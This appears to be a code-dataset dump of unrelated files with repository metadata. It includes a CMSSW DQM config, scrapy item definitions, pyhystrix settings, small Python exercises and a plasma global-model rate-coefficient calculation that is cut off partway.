import FWCore.ParameterSet.Config as cms process = cms.Process("DQM") process.load("DQM.HLTEvF.HLTMonitor_cff") process.load("DQMServices.Core.DQM_cfg") process.load("DQMServices.Components.DQMEnvironment_cfi") process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(100) ) process.source = cms.Source("PoolSource", fileNames = cms.untracked.vstring( ### TTbar 3 '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/1C51253D-D4CC-DD11-89EC-001D09F23A6B.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/26FB4A24-D2CC-DD11-845E-0019B9F72F97.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/30EE04C0-CACC-DD11-96CF-000423D99658.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/362BA44E-D2CC-DD11-8BAB-001617DBD5B2.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/6459EFC9-D7CC-DD11-8D80-001617DBCF6A.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/6AD9D6F6-D3CC-DD11-909A-001617C3B79A.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/7890DAB6-CDCC-DD11-968C-000423DD2F34.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/ACCC88FA-CFCC-DD11-AE2D-001D09F24637.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/ACFCB5C4-BCCC-DD11-832F-001D09F253C0.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/B2A7BEBE-CCCC-DD11-824A-000423D98E54.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/C2BBDEF8-CBCC-DD11-A8A0-001617DBD5AC.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/C65BB6E9-59CD-DD11-95F1-0030487A1990.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/D2BB240F-D3CC-DD11-9921-001617C3B5E4.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/DA78BADE-BCCC-DD11-AE39-0030487BC68E.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/DAA706E0-BDCC-DD11-AD9E-001D09F2432B.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/DC28FB7D-D5CC-DD11-A689-001D09F231C9.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/E02F1FE1-D4CC-DD11-AF0C-001D09F231C9.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/EAB4B18D-CFCC-DD11-B952-0030487C608C.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/FAE75F4C-C0CC-DD11-97B1-001617C3B706.root', '/store/relval/CMSSW_3_0_0_pre3/RelValQCD_Pt_80_120/GEN-SIM-DIGI-RAW-HLTDEBUG/STARTUP_30X_v1/0004/FC1FE58F-CCCC-DD11-9198-001617DBCF90.root' ) ) process.MessageLogger = cms.Service("MessageLogger", detailedInfo = cms.untracked.PSet( threshold = cms.untracked.string('INFO') ), critical = cms.untracked.PSet( threshold = cms.untracked.string('ERROR') ), debugModules = cms.untracked.vstring('*'), cout = cms.untracked.PSet( threshold = cms.untracked.string('WARNING'), WARNING = cms.untracked.PSet( limit = cms.untracked.int32(0) ), noLineBreaks = cms.untracked.bool(True) ), destinations = cms.untracked.vstring('detailedInfo', 'critical', 'cout') ) process.p = cms.EndPath(process.dqmSaver) process.DQMStore.verbose = 0 process.DQM.collectorHost = '' process.dqmSaver.convention = 'Online' process.dqmSaver.saveByRun = 1 process.dqmSaver.saveAtJobEnd = True
62.80303
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4,145
4.721966
0.230415
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0.527001
0.527001
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0.077684
4,145
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63.769231
0.62464
0.001689
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0.707234
0.689572
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3
b6ce2aec2391ea0b9093ac93109f9105c5b3043c
1,076
py
Python
projects/PointsColletion/pointscollection/layers/emd/modules/emd.py
li-haoran/detectron2
84aebaaed19b07cce9dfd579f98b09ad4ed22e90
[ "Apache-2.0" ]
null
null
null
projects/PointsColletion/pointscollection/layers/emd/modules/emd.py
li-haoran/detectron2
84aebaaed19b07cce9dfd579f98b09ad4ed22e90
[ "Apache-2.0" ]
null
null
null
projects/PointsColletion/pointscollection/layers/emd/modules/emd.py
li-haoran/detectron2
84aebaaed19b07cce9dfd579f98b09ad4ed22e90
[ "Apache-2.0" ]
null
null
null
# EMD approximation module (based on auction algorithm) # memory complexity: O(n) # time complexity: O(n^2 * iter) # author: Minghua Liu # input: # p1, p2: [#batch, #points, 3] # where p1 is the predicted point cloud and p2 is the ground truth point cloud # two point clouds should have same size and be normalized to [0, 1] # #points should be a multiple of 1024 # #batch should be no greater than 512 # eps is a parameter which balances the error rate and the speed of convergence # iters is the number of iteration # we only calculate gradient for p1 # Output: # dist: [#batch, #points], sqrt(dist) -> L2 distance # assignment: [#batch, #points], index of the matched point in the ground truth point cloud # the result is an approximation and the assignment is not guranteed to be a bijection import torch from torch import nn from..functions.emd import emd_function class emdModule(nn.Module): def __init__(self): super(emdModule, self).__init__() def forward(self, p1, p2, eps, iters): return emd_function(p1, p2, eps, iters)
30.742857
91
0.715613
168
1,076
4.52381
0.565476
0.015789
0.031579
0.05
0.063158
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0
0.024447
0.201673
1,076
35
92
30.742857
0.860303
0.703532
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0.25
false
0
0.375
0.125
0.875
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null
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0
1
0
0
1
1
0
0
0
3
b6dff72d70ac2ad0638bfd3497907c8deb6f393f
167
py
Python
CursoEmVideo/Aula07/ex013.py
lucashsouza/Desafios-Python
abb5b11ebdfd4c232b4f0427ef41fd96013f2802
[ "MIT" ]
null
null
null
CursoEmVideo/Aula07/ex013.py
lucashsouza/Desafios-Python
abb5b11ebdfd4c232b4f0427ef41fd96013f2802
[ "MIT" ]
null
null
null
CursoEmVideo/Aula07/ex013.py
lucashsouza/Desafios-Python
abb5b11ebdfd4c232b4f0427ef41fd96013f2802
[ "MIT" ]
null
null
null
sal = float(input('Digite seu salario: R$')) aum = sal * 0.15 print('Parabens, você ganhou um aumento de 15%') print('Seu novo salario é de R${}'.format(sal + aum))
41.75
53
0.658683
29
167
3.793103
0.689655
0.127273
0
0
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0.035971
0.167665
167
4
53
41.75
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0
0
0
0
1
0
3
b6f0097f2059d2d9b097d5fd295d4ac7fbf4e17b
1,067
py
Python
game/spaceship/module.py
shycoldii/asteroids
3e06e68dff6e5a4ec87444ae94bd40c77e31515b
[ "MIT" ]
null
null
null
game/spaceship/module.py
shycoldii/asteroids
3e06e68dff6e5a4ec87444ae94bd40c77e31515b
[ "MIT" ]
null
null
null
game/spaceship/module.py
shycoldii/asteroids
3e06e68dff6e5a4ec87444ae94bd40c77e31515b
[ "MIT" ]
null
null
null
from pygame.math import Vector2 from game.base.base import BasicObject class AbstractModule(BasicObject): """Абстрактный модуль, гаджет, навес для spaceship""" def __init__(self, display, space_pos, space_size, space_head): super().__init__(display) self._space_size = space_size self._pos = self._calc_position(space_pos, space_head) self._started = False def started(self): """Статус: включен-выключен""" return self._started def start(self): """Включает модуль""" self._started = True def stop(self): """Выключает модуль""" self._started = False @property def position(self): """Копия текущей позиции модуля""" return Vector2(self._pos) def _calc_position(self, space_pos, space_head): """Расчитать позицию относительно spaceship""" pass def update(self, space_pos, space_head): """Обновляет расположение, состояние""" pass def draw(self): """Отображает модуль""" pass
24.813953
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0.63074
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1,067
5.495727
0.452991
0.049767
0.080871
0.079316
0.065319
0
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0
0.002538
0.261481
1,067
42
68
25.404762
0.813452
0.212746
0
0.217391
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0.347826
false
0.130435
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3
b6ffd2696b9f634b1125ab8580ad189db011c7f4
253
py
Python
source-code-from-author-book/Listings-for-Second-Edition/listing_1_15.py
robrac/algorithms-exercises-with-python
5780171517eacc1c7133fdc32cf079623cd14cf9
[ "MIT" ]
null
null
null
source-code-from-author-book/Listings-for-Second-Edition/listing_1_15.py
robrac/algorithms-exercises-with-python
5780171517eacc1c7133fdc32cf079623cd14cf9
[ "MIT" ]
null
null
null
source-code-from-author-book/Listings-for-Second-Edition/listing_1_15.py
robrac/algorithms-exercises-with-python
5780171517eacc1c7133fdc32cf079623cd14cf9
[ "MIT" ]
null
null
null
def setNextPin(self,source): if self.pinA == None: self.pinA = source else: if self.pinB == None: self.pinB = source else: raise RuntimeError("Error: NO EMPTY PINS")
28.111111
57
0.474308
26
253
4.615385
0.576923
0.1
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0.434783
253
8
58
31.625
0.839161
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0
0
0
0
0
0
0
3
8e0bf2d45dfd6e0b97aceb7f22a0e37420a6dce5
167
py
Python
problem0217.py
kmarcini/Project-Euler-Python
d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3
[ "BSD-3-Clause" ]
null
null
null
problem0217.py
kmarcini/Project-Euler-Python
d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3
[ "BSD-3-Clause" ]
null
null
null
problem0217.py
kmarcini/Project-Euler-Python
d644e8e1ec4fac70a9ab407ad5e1f0a75547c8d3
[ "BSD-3-Clause" ]
null
null
null
########################### # # #217 Balanced Numbers - Project Euler # https://projecteuler.net/problem=217 # # Code by Kevin Marciniak # ###########################
18.555556
39
0.479042
14
167
5.714286
0.928571
0
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0.113772
167
8
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20.875
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true
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1
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0
0
0
0
0
3
8e0d08f5530176dfcb7574842571feb83189d573
1,644
py
Python
config.py
oogway/pyhystrix
941de918d0433aaae958cb6de87ec32d6d943bb4
[ "MIT" ]
15
2017-11-26T16:04:33.000Z
2020-04-16T02:49:50.000Z
config.py
oogway/pyhystrix
941de918d0433aaae958cb6de87ec32d6d943bb4
[ "MIT" ]
1
2021-06-01T21:20:18.000Z
2021-06-01T21:20:18.000Z
config.py
last9/pyhystrix
941de918d0433aaae958cb6de87ec32d6d943bb4
[ "MIT" ]
1
2021-07-29T16:52:26.000Z
2021-07-29T16:52:26.000Z
"""Constants that will be used to define default behaviour. Can be overridden by setting env vars """ import os import requests import logging log_levels = { logging.getLevelName(logging.CRITICAL): logging.CRITICAL, logging.getLevelName(logging.ERROR): logging.ERROR, logging.getLevelName(logging.WARNING): logging.WARNING, logging.getLevelName(logging.INFO): logging.INFO, logging.getLevelName(logging.DEBUG): logging.DEBUG } logger = logging.getLogger("pyhystrix") level = os.environ.get("PHY_LOG") logger.setLevel(log_levels.get(level, logging.WARNING)) logger.addHandler(logging.StreamHandler()) class Config(object): @staticmethod def connect_timeout(): return int(os.environ.get("PYH_CONNECT_TIMEOUT", 5)) @staticmethod def read_timeout(): return int(os.environ.get("PYH_READ_TIMEOUT", 5)) @staticmethod def max_tries(): return int(os.environ.get("PHY_MAX_TRIES", 3)) @staticmethod def backoff_factor(): return float(os.environ.get("PHY_BACKOFF_FACTOR", 0.5)) @staticmethod def retriable_exceptions(): return (requests.exceptions.ConnectionError,) @staticmethod def method_whitelist(): return ['HEAD', 'GET'] @staticmethod def status_forcelist(): return [500] @staticmethod def cb_fail_threshold(): return int(os.environ.get("PYH_CIRCUIT_FAIL_THRESHOLD", 5)) @staticmethod def cb_alive_threshold(): return int(os.environ.get("PYH_CIRCUIT_ALIVE_THRESHOLD", 20)) @staticmethod def cb_delay(): return int(os.environ.get("PYH_CIRCUIT_DELAY", 5))
25.292308
69
0.699513
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1,644
5.709184
0.367347
0.134048
0.085791
0.096515
0.173369
0.154602
0.154602
0.071492
0
0
0
0.008942
0.183698
1,644
64
70
25.6875
0.824888
0.057178
0
0.222222
0
0
0.103046
0.034349
0
0
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0
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1
0.222222
false
0
0.066667
0.222222
0.533333
0
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null
0
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1
0
0
0
1
1
0
0
3
8e129a5dd5ce56a18e4bf1c6c8ee6d799374887d
318
py
Python
modules/name.py
onrcayci/python3-notes
64f6708553a54a2b85641690e5e90444a0a68737
[ "MIT" ]
null
null
null
modules/name.py
onrcayci/python3-notes
64f6708553a54a2b85641690e5e90444a0a68737
[ "MIT" ]
null
null
null
modules/name.py
onrcayci/python3-notes
64f6708553a54a2b85641690e5e90444a0a68737
[ "MIT" ]
null
null
null
""" __name__ When run, every Python file has a __name__ variable. If the file is the main file being run/executed, its value is "__main__". Otherwise, its value is the file name. """ # To ignore executable code on import if __name__ == "__main__": # this code will only run if the file is the main file pass
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3
8e134e72e201eb3b080e13c59ab9963fb4dd6a5d
44
py
Python
Common/config.py
lkean9/GrabTaxi
93d916dff777ac69ad83973fa00704ed2ae110ee
[ "MIT" ]
null
null
null
Common/config.py
lkean9/GrabTaxi
93d916dff777ac69ad83973fa00704ed2ae110ee
[ "MIT" ]
null
null
null
Common/config.py
lkean9/GrabTaxi
93d916dff777ac69ad83973fa00704ed2ae110ee
[ "MIT" ]
null
null
null
SECRET_KEY = "TOP_SECRET" EXPIRATION = 1000
14.666667
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44
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0.833333
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44
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3
8e3731f718e57164a53fc2dd11f980d626c81555
276
py
Python
autoselenium/__init__.py
saizk/auto-selenium
02c5ec3e02e4b36309002d8418be0d6a4ee56ebd
[ "MIT" ]
2
2021-11-26T08:41:45.000Z
2022-01-31T10:30:53.000Z
autoselenium/__init__.py
saizk/auto-selenium
02c5ec3e02e4b36309002d8418be0d6a4ee56ebd
[ "MIT" ]
null
null
null
autoselenium/__init__.py
saizk/auto-selenium
02c5ec3e02e4b36309002d8418be0d6a4ee56ebd
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from autoselenium.driver import Driver from autoselenium.download import download_driver, download_default_driver, get_version __author__ = 'saizk' __all__ = [ 'Driver', 'download_driver', 'download_default_driver', 'get_version' ]
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3
f3cce023c21f1bb035661f1e33b8822f11f74165
258
py
Python
11 new lesson STRING/11.25 family.py
zarina494/fisrt_git_lesson
169fc205b3a99a84f1041d578c4c120555162a66
[ "MIT" ]
null
null
null
11 new lesson STRING/11.25 family.py
zarina494/fisrt_git_lesson
169fc205b3a99a84f1041d578c4c120555162a66
[ "MIT" ]
null
null
null
11 new lesson STRING/11.25 family.py
zarina494/fisrt_git_lesson
169fc205b3a99a84f1041d578c4c120555162a66
[ "MIT" ]
null
null
null
def relation_to_Luke(name): if name == 'Darv': return 'Luke, I am your father' elif name == 'Leila': return ' Luke, i am your sister' elif name == 'Han': return ' Luke, i am your brother' print(relation_to_Luke('Leila'))
25.8
41
0.593023
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258
4.027027
0.486486
0.201342
0.221477
0.261745
0.342282
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0.27907
258
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25.8
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3
f3e860a7ce40aa332a6b28696a7ba5588e33d25d
2,579
py
Python
scraper/items.py
jheasly/open-health-inspection-scraper
95c17782626041286996c6384a461c0798a7c61c
[ "Apache-2.0" ]
2
2016-06-06T17:40:42.000Z
2019-06-18T23:12:54.000Z
scraper/items.py
jheasly/open-health-inspection-scraper
95c17782626041286996c6384a461c0798a7c61c
[ "Apache-2.0" ]
15
2015-01-14T23:44:56.000Z
2017-02-15T18:31:35.000Z
scraper/items.py
jheasly/open-health-inspection-scraper
95c17782626041286996c6384a461c0798a7c61c
[ "Apache-2.0" ]
6
2015-01-22T22:49:54.000Z
2019-06-18T23:22:36.000Z
from scrapy.item import Item, Field from scrapy.loader import ItemLoader from scrapy.loader.processors import Identity, MapCompose, TakeFirst, Join from scraper.helpers.vendor_helpers import * from slugify import slugify from datetime import datetime import re def format_date(date_string): return datetime.strptime(date_string, "%b %d, %Y") class VendorItem(Item): locality_id = Field( output_processor=TakeFirst() ) locality = Field( output_processor=TakeFirst() ) locality_url = Field( output_processor=TakeFirst() ) vendor_id = Field( output_processor=TakeFirst() ) guid = Field( input_processor=MapCompose(vendor_guid), output_processor=TakeFirst() ) name = Field( output_processor=TakeFirst() ) url = Field( output_processor=TakeFirst() ) address = Field( input_processor=MapCompose(vendor_address), output_processor=TakeFirst() ) city = Field( input_processor=MapCompose(vendor_city), output_processor=TakeFirst() ) vendor_location = Field( output_processor=TakeFirst() ) last_inspection_date = Field( input_processor=MapCompose(format_date), output_processor=TakeFirst() ) search_name = Field( input_processor=MapCompose(vendor_search_name), output_processor=TakeFirst() ) type = Field( output_processor=TakeFirst() ) status = Field( output_processor=TakeFirst() ) phone = Field( output_processor=TakeFirst() ) slug = Field( input_processor=MapCompose(slugify), output_processor=TakeFirst() ) category = Field( input_processor=MapCompose(vendor_category), output_processor=TakeFirst() ) geo = Field( # disable geocoding until SmartyStreets replacement is found #input_processor=MapCompose(get_lat_lng), #output_processor=TakeFirst() ) needs_geocoding = Field( input_processor=MapCompose(needs_geocoding), output_processor=TakeFirst() ) needs_geocoding_date = Field( input_processor=MapCompose(needs_geocoding_date), output_processor=TakeFirst() ) inspections = Field() class VendorItemLoader(ItemLoader): default_item_class = VendorItem class InspectionItem(Item): vendor_guid = Field( output_processor=TakeFirst() ) date = Field( input_processor=MapCompose(format_date), output_processor=TakeFirst() ) type = Field( output_processor=TakeFirst() ) risk_rating = Field( output_processor=TakeFirst() ) followup_required = Field( output_processor=TakeFirst() ) comments = Field( input_processor=Join(''), output_processor=TakeFirst() ) violations = Field() class InspectionItemLoader(ItemLoader): default_item_class = InspectionItem
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0.117524
0.117524
0.070304
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2,579
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22.622807
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null
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0
0
0
0
3
6d04a81bea04c3629213ca9bfb9d02a5dc7d0ce8
61
py
Python
tests/python/for_items.py
jacereda/py2nim
56fc2699d31241c60bed726f59efea4bf46be238
[ "MIT" ]
10
2020-03-10T12:01:01.000Z
2021-05-23T19:47:06.000Z
tests/python/for_items.py
jacereda/py2nim
56fc2699d31241c60bed726f59efea4bf46be238
[ "MIT" ]
null
null
null
tests/python/for_items.py
jacereda/py2nim
56fc2699d31241c60bed726f59efea4bf46be238
[ "MIT" ]
1
2020-07-17T11:20:56.000Z
2020-07-17T11:20:56.000Z
a = {2: 4} for k, v in a.items(): print(k) print(v)
10.166667
22
0.459016
13
61
2.153846
0.692308
0
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0.04878
0.327869
61
5
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0
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1
0
3
6d118933bbe84c3f01f6686bf85c8155c9b55417
563
py
Python
jsinclude/tests/argument_value_test.py
cobbdb/jsinclude
7a979677359df18b755190ed569b09d0ea8dad07
[ "MIT" ]
null
null
null
jsinclude/tests/argument_value_test.py
cobbdb/jsinclude
7a979677359df18b755190ed569b09d0ea8dad07
[ "MIT" ]
null
null
null
jsinclude/tests/argument_value_test.py
cobbdb/jsinclude
7a979677359df18b755190ed569b09d0ea8dad07
[ "MIT" ]
null
null
null
from jsinclude.templatetags.pkg.ArgumentValue import ArgumentValue class TestArgumentValue: def test_true_number_arg(self): arg = ArgumentValue(1234) assert arg == 1234 def test_string_number_arg(self): arg = ArgumentValue('1234') assert arg == '1234' def test_string_arg(self): arg = ArgumentValue('abc123') assert arg == "'abc123'" def test_boolean_arg(self): arg = ArgumentValue('true') assert arg == 'true' arg = ArgumentValue('false') assert arg == 'false'
25.590909
66
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563
5.639344
0.327869
0.232558
0.116279
0.267442
0.343023
0.343023
0.343023
0.343023
0.343023
0.343023
0
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0.26643
563
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0
1
0
0
0
0
0
0
0
3
6d18302a31bc755d30f8c893405032c00082c9ee
15,608
py
Python
Python_Projects/Global_Model/Working/calculation.py
GUNU-GO/SNUPI
a73137699d9fc6ae8fa3d1522f341c04d8d43052
[ "MIT" ]
null
null
null
Python_Projects/Global_Model/Working/calculation.py
GUNU-GO/SNUPI
a73137699d9fc6ae8fa3d1522f341c04d8d43052
[ "MIT" ]
null
null
null
Python_Projects/Global_Model/Working/calculation.py
GUNU-GO/SNUPI
a73137699d9fc6ae8fa3d1522f341c04d8d43052
[ "MIT" ]
null
null
null
#!/usr/bin/env python # coding: utf-8 import xs import numpy as np from scipy.integrate import odeint from math import isclose from constants import * class Global_model: def __init__(self, p, input_power, duty, period, time_resolution=1e-8): self.p = p self.input_power = input_power*6.241509e18 # [J/s] to [eV/s] self.duty = duty self.period = period self.time_resolution = time_resolution self.ng = (p/7.5)/(Tg*kB)*1e-6 #[cm^-3] lambda_i = 1/(self.ng*sigma_i) #[cm] ion-neutral mean free path hl = 0.86*(3+l/2/lambda_i)**-0.5 hR = 0.8*(4+ro/lambda_i)**-0.5 self.Aeff = 2*np.pi*ro*(l*hR+ro*hl) #[cm^2] effective area self.deff = V/self.Aeff #[cm] print('Condition : {}mTorr, {}W, {}ms, {}'.format(self.p, self.input_power/6.241509e18, self.period*1000, self.duty)) def balance_equations(self, calculation_array, t, power): Te, nH, nH_2s, nH2_v1, nH2_v2, nH2_v3, nH2_v4, nH2_v5, nH2_v6, nH2_v7, nH2_v8, nH2_v9, nHp, nH2p, nH3p, nHm = calculation_array uB = np.sqrt(e*Te/M)*100 #[cm/s] uB2 = np.sqrt(e*Te/2/M)*100 uB3 = np.sqrt(e*Te/3/M)*100 #Vs = -Te*np.log(4/ne/np.sqrt(8*e*Te/np.pi/m)*(nHp*uB+nH2p*uB2+nH3p*uB3)) Vs = Te*np.log(np.sqrt(M/(2*np.pi*m))) t0 = V/self.Aeff*np.sqrt(M/(e*Te))/100 #[s] Characteristic transit time of H+ ion #k8,k9,k11의 Te가 매우 작을때의 Cross section값을 구해야한다. (k2는 괜찮음) ##### Rate coefficient calculation ##### k1_0 = xs.rate_constant_with_analytic_xs(Te, 'reaction1_0') k1_1 = xs.rate_constant_with_analytic_xs(Te, 'reaction1_1') k1_2 = xs.rate_constant_with_analytic_xs(Te, 'reaction1_2') k1_3 = xs.rate_constant_with_analytic_xs(Te, 'reaction1_3') k1_4 = xs.rate_constant_with_analytic_xs(Te, 'reaction1_4') k2 = np.exp(-2.858072836568e+01+1.038543976082e+01*np.log(Te)-5.383825026583e+00*(np.log(Te))**2+1.950636494405e+00*(np.log(Te))**3-5.393666392407e-01*(np.log(Te))**4+1.006916814453e-01*(np.log(Te))**5-1.160758573972e-02*(np.log(Te))**6+7.411623859122e-04*(np.log(Te))**7-2.001369618807e-05*(np.log(Te))**8) k3_1 = xs.rate_constant_with_point_xs(Te, 'reaction3_1') k3_2 = xs.rate_constant_with_point_xs(Te, 'reaction3_2') k3_3 = xs.rate_constant_with_point_xs(Te, 'reaction3_3') k3_4 = xs.rate_constant_with_point_xs(Te, 'reaction3_4') k3_5 = xs.rate_constant_with_point_xs(Te, 'reaction3_5') k3_6 = xs.rate_constant_with_point_xs(Te, 'reaction3_6') k3_1_inv = k3_2_inv = k3_3_inv = k3_4_inv = k3_5_inv = k3_6_inv = k4_0 = k4_1 = k4_2 = k4_3 = k4_4 = k4_5 = k4_6 = k4_7 = k4_8 = k4_0_inv = k4_1_inv = k4_2_inv = k4_3_inv = k4_4_inv = k4_5_inv = k4_6_inv = k4_7_inv = k4_8_inv = k5_0 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_0') k5_1 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_1') k5_2 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_2') k5_3 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_3') k5_4 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_4') k5_5 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_5') k5_6 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_6') k5_7 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_7') k5_8 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_8') k5_9 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_9') k6_0 = xs.rate_constant_with_point_xs(Te, 'reaction6_0') k6_1 = xs.rate_constant_with_point_xs(Te, 'reaction6_1') k6_2 = xs.rate_constant_with_point_xs(Te, 'reaction6_2') k6_3 = xs.rate_constant_with_point_xs(Te, 'reaction6_2') #xs 데이터 보완 必 k6_4 = xs.rate_constant_with_point_xs(Te, 'reaction6_5') #xs 데이터 보완 必 k6_5 = xs.rate_constant_with_point_xs(Te, 'reaction6_5') k6_6 = xs.rate_constant_with_point_xs(Te, 'reaction6_6') k6_7 = xs.rate_constant_with_point_xs(Te, 'reaction6_7') k6_8 = xs.rate_constant_with_point_xs(Te, 'reaction6_8') k6_9 = xs.rate_constant_with_point_xs(Te, 'reaction6_9') k7 = np.exp(-3.834597006782e+01+1.426322356722e+01*np.log(Te)-5.826468569506e+00*(np.log(Te))**2+1.727940947913e+00*(np.log(Te))**3-3.598120866343e-01*(np.log(Te))**4+4.822199350494e-02*(np.log(Te))**5-3.909402993006e-03*(np.log(Te))**6+1.738776657690e-04*(np.log(Te))**7-3.252844486351e-06*(np.log(Te))**8) k8 = np.exp(-3.271396786375e+01+1.353655609057e+01*np.log(Te)-5.739328757388e+00*(np.log(Te))**2+1.563154982022e+00*(np.log(Te))**3-2.877056004391e-01*(np.log(Te))**4+3.482559773737e-02*(np.log(Te))**5-2.631976175590e-03*(np.log(Te))**6+1.119543953861e-04*(np.log(Te))**7-2.039149852002e-06*(np.log(Te))**8) k9 = np.exp(-1.781416067709e+01+2.277799785711e+00*np.log(Te)-1.266868411626e+00*(np.log(Te))**2+4.296170447419e-01*(np.log(Te))**3-9.609908013189e-02*(np.log(Te))**4+1.387958040699e-02*(np.log(Te))**5-1.231349039470e-03*(np.log(Te))**6+6.042383126281e-05*(np.log(Te))**7-1.247521040900e-06*(np.log(Te))**8) k10 = 2.1e-9 k11 = np.exp(-1.700270758355e+01-4.050073042947e-01*np.log(Te)+1.018733477232e-08*(np.log(Te))**2-1.695586285687e-08*(np.log(Te))**3+1.564311217508e-10*(np.log(Te))**4+1.979725412288e-09*(np.log(Te))**5-4.395545994733e-10*(np.log(Te))**6+3.584926377078e-11*(np.log(Te))**7-1.024189019465e-12*(np.log(Te))**8) k12 = np.exp(-3.078408636631e+01+1.509421488513e+01*np.log(Te)-7.349167207324e+00*(np.log(Te))**2+2.320966107642e+00*(np.log(Te))**3-4.818077551719e-01*(np.log(Te))**4+6.389229162737e-02*(np.log(Te))**5-5.161880953089e-03*(np.log(Te))**6+2.303985092606e-04*(np.log(Te))**7-4.344846146197e-06*(np.log(Te))**8) k13 = xs.rate_constant_with_point_xs(Te, 'reaction13') k14 = np.exp(-1.801849334273e+01+2.360852208681e+00*np.log(Te)-2.827443061704e-01*(np.log(Te))**2+1.623316639567e-02*(np.log(Te))**3-3.365012031363e-02*(np.log(Te))**4+1.178329782711e-02*(np.log(Te))**5-1.656194699504e-03*(np.log(Te))**6+1.068275202678e-04*(np.log(Te))**7-2.631285809207e-06*(np.log(Te))**8) k15 = 1.7e-9 k16 = k17 = 4.4e-16 # at ion 0.02eV k18 = k19 = np.exp(-3.454175591367e+01+1.412655911280e+01*np.log(Te)-6.004466156761e+00*(np.log(Te))**2+1.589476697488e+00*(np.log(Te))**3-2.775796909649e-01*(np.log(Te))**4+3.152736888124e-02*(np.log(Te))**5-2.229578042005e-03*(np.log(Te))**6+8.890114963166e-05*(np.log(Te))**7-1.523912962346e-06*(np.log(Te))**8) k20 = np.exp(-2.833259375256e+01+9.587356325603e+00*np.log(Te)-4.833579851041e+00*(np.log(Te))**2+1.415863373520e+00*(np.log(Te))**3-2.537887918825e-01*(np.log(Te))**4+2.800713977946e-02*(np.log(Te))**5-1.871408172571e-03*(np.log(Te))**6+6.986668318407e-05*(np.log(Te))**7-1.123758504195e-06*(np.log(Te))**8) k21 = np.exp(-1.973476726029e+01+3.992702671457e+00*np.log(Te)-1.773436308973e+00*(np.log(Te))**2+5.331949621358e-01*(np.log(Te))**3-1.181042453190e-01*(np.log(Te))**4+1.763136575032e-02*(np.log(Te))**5-1.616005335321e-03*(np.log(Te))**6+8.093908992682e-05*(np.log(Te))**7-1.686664454913e-06*(np.log(Te))**8) k22_1_0 = 0.42e-13 #non-reactive assumption k22_2_0 = 0.59e-12 k22_2_1 = 0.30e-12 k22_3_0 = 0.15e-11 k22_3_1 = 0.16e-11 k22_3_2 = 0.20e-11 k22_4_0 = 0.43e-11 k22_4_1 = 0.42e-11 k22_4_2 = 0.49e-11 k22_4_3 = 0.55e-11 k22_5_0 = 0.16e-11 k22_5_1 = 0.37e-11 k22_5_2 = 0.69e-11 k22_5_3 = 0.74e-11 k22_5_4 = 0.89e-11 k22_6_0 = 0.33e-11 k22_6_1 = 0.51e-11 k22_6_2 = 0.53e-11 k22_6_3 = 0.69e-11 k22_6_4 = 0.11e-10 k22_6_5 = 0.12e-10 k22_7_0 = 0.24e-11 k22_7_1 = 0.38e-11 k22_7_2 = 0.68e-11 k22_7_3 = 0.57e-11 